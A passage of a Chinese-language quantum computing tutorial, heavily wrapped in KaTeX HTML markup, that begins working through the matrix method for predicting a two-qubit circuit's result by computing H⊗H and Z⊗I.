class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><blockquote><p>可以驗證 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mo>†</mo></msup><mi>X</mi><mi>H</mi><mo>=</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">H^\dagger X H = Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span></span></span></span>，這讓我想起矩陣對角化</p></blockquote><h2 id="%E9%A0%90%E6%B8%AC%E9%87%8F%E5%AD%90%E9%9B%BB%E8%B7%AF%E7%B5%90%E6%9E%9C%E7%9A%84%E4%B8%89%E7%A8%AE%E6%96%B9%E5%BC%8F" tabindex="-1" id="預測量子電路結果的三種方式">預測量子電路結果的三種方式</h2><p>給一個量子電路，我們怎麼知道跑出來的結果是什麼呢？我們統一以以下這個量子電路：<br><img src="2026-07-18-18-40-36.png" alt=""><br>他的結果如下：<br><img src="2026-07-18-18-40-56.png" alt=""></p><p>我們分別用以下三種方法求出答案</p><h3 id="%E7%9F%A9%E9%99%A3%E6%B3%95" tabindex="-1" id="矩陣法">矩陣法</h3><p>把它看成三個部分，第一個部分是對 q0, q1 分別作 H Gate，組合起來就是：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>H</mi><mo>⊗</mo><mi>H</mi><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">H\otimes H = \frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix} \otimes \frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix}= \frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1 \\1 &amp; 1 &amp; -1 &amp; -1 \\1 &amp; -1 &amp; -1 &amp; 1\end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>第二部分是對 q0 作 I (也就是什麼都不做)、對 q1 做 Z Gate，組合起來是：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>Z</mi><mo>⊗</mo><mi>I</mi><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>⊗</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">Z \otimes I = \begin{pmatrix} 1 &amp; 0 \\ 0 &amp; -1 \end{pmatrix} \otimes \begin{pmatrix} 1 &amp; 0 \\ 0 &amp; 1 \end{pmatrix}= \begin{pmatrix}1 &amp; 0 &amp; 0 &amp; 0 \\0 &amp; 1 &amp; 0 &amp; 0 \\0 &amp; 0 &amp; -1 &amp; 0 \\0 &amp; 0 &amp; 0 &amp; -1\end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" 